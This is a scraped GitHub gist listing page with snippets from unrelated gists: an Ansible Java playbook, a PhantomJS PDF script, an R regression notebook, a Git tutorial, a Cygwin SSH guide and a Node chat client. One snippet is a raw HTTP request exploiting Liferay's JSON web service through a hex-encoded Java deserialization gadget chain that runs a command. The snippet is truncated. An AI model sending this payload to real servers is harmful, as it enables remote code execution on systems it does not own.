Skip to content

Instantly share code, notes, and snippets.

View juananpe's full-sized avatar
🎯
Focusing

Juanan Pereira juananpe

🎯
Focusing
View GitHub Profile
@owainlewis
owainlewis / java7.yml
Created July 24, 2013 10:45
Install Java 7 with Ansible on Ubuntu Linux
---
- name: ensure required packages are installed for Java 7
apt: name=$item state=latest update_cache=yes
with_items:
- python-software-properties
- name: Add Java repository to sources
action: apt_repository repo='ppa:webupd8team/java'
@philfreo
philfreo / makepdf.js
Created June 24, 2013 23:21
PhantomJS: generate PDF to stdout from HTML in stdin. Example: echo "<b>test</b>" | phantomjs makepdf.js > test.pdf && open test.pdf
var page = require('webpage').create(),
fs = require('fs');
page.viewportSize = { width: 600, height: 600 };
page.paperSize = { format: 'Letter', orientation: 'portrait', margin: '1cm' };
page.content = fs.read('/dev/stdin');
window.setTimeout(function() {
page.render('/dev/stdout', { format: 'pdf' });
@primaryobjects
primaryobjects / linear-regression.Rmd
Last active November 13, 2018 02:51
Single variable linear regression, calculating baseline prediction, SSE, SST, R^2 of the model.
---
title: "Single Variable Linear Regression R^2"
output: html_document
---
The following figure shows three data points and the best fit line:
y = 3x + 2.
The x-coordinate, or "x", is our independent variable and the y-coordinate, or "y", is our dependent variable.
@tunelko
tunelko / weird_encodings.py
Last active January 10, 2020 21:35
weird_encodings
import base64
import sys
pt = sys.argv[1]
type_encoding = sys.argv[2]
atom128 = "/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC"
megan35 = "3GHIJKLMNOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5"
zong22 = "ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2"
hazz15 = "HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5"
@bgun
bgun / gist:c7447ab0906517221b6b
Last active August 25, 2022 16:13
Practicing with IntelliJ and Git

Practicing with IntelliJ and Git

For the things we have to learn before we can do them,
we learn by doing them. ― Aristotle

This exercise is a straightforward recipe for starting a new IntelliJ project, adding a code file, and marrying a local Git repository to a remote GitHub repository. Even if you are comfortable with your Git workflow, you should go through this and understand what is happening - and more specifically, where on your computer's hard drive and on GitHub it is happening.

Repeat this exercise a few times, until you're comfortable. You don't have to memorize each command - that's what cheat sheets are for! - but rather, focus on understanding their relationships to the files on your computer, your development environment (IntelliJ), and GitHub.

Create a new IntelliJ project.

@cure53
cure53 / wordpress.md
Last active February 1, 2023 22:47
WordPress Flash XSS in flashmediaelement.swf
@CMNatic
CMNatic / cloudSettings
Last active October 5, 2023 19:22
TryHackMe OWASP-10-A8: Insecure Deserialization RCE PoC
{"lastUpload":"2021-08-31T08:20:42.057Z","extensionVersion":"v3.4.3"}
@roxlu
roxlu / install_cygwin_sshd.txt
Last active November 27, 2023 22:20
Installing CYGWIN + SSHD for remote access through SSH on windows
Installing CYGWIN with SSH
1) Download cygwin setup.exe from http://www.cygwin.com
- Execute setup.exe
- Install from internet
- Root directory: `c:\cygwin` + all users
- Local package directory: use default value
- Select a mirror to download files from
- Select these packages:
- editors > xemacs 21.4.22-1
- net > openssh 6.1-p
POST /api/jsonws/invoke HTTP/1.1
Host: <Host>
Connection: close
cmd2: whoami
Content-Type: application/x-www-form-urlencoded
Content-Length: 4912
cmd={"/expandocolumn/update-column":{}}&p_auth=<valid token>&formDate=<date>&columnId=123&name=asdasd&type=1&defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:ACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000023F40000000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73
@martinsik
martinsik / chat-frontend.js
Last active December 19, 2023 10:23
Node.js chat frontend and server
$(function () {
"use strict";
// for better performance - to avoid searching in DOM
var content = $('#content');
var input = $('#input');
var status = $('#status');
// my color assigned by the server
var myColor = false;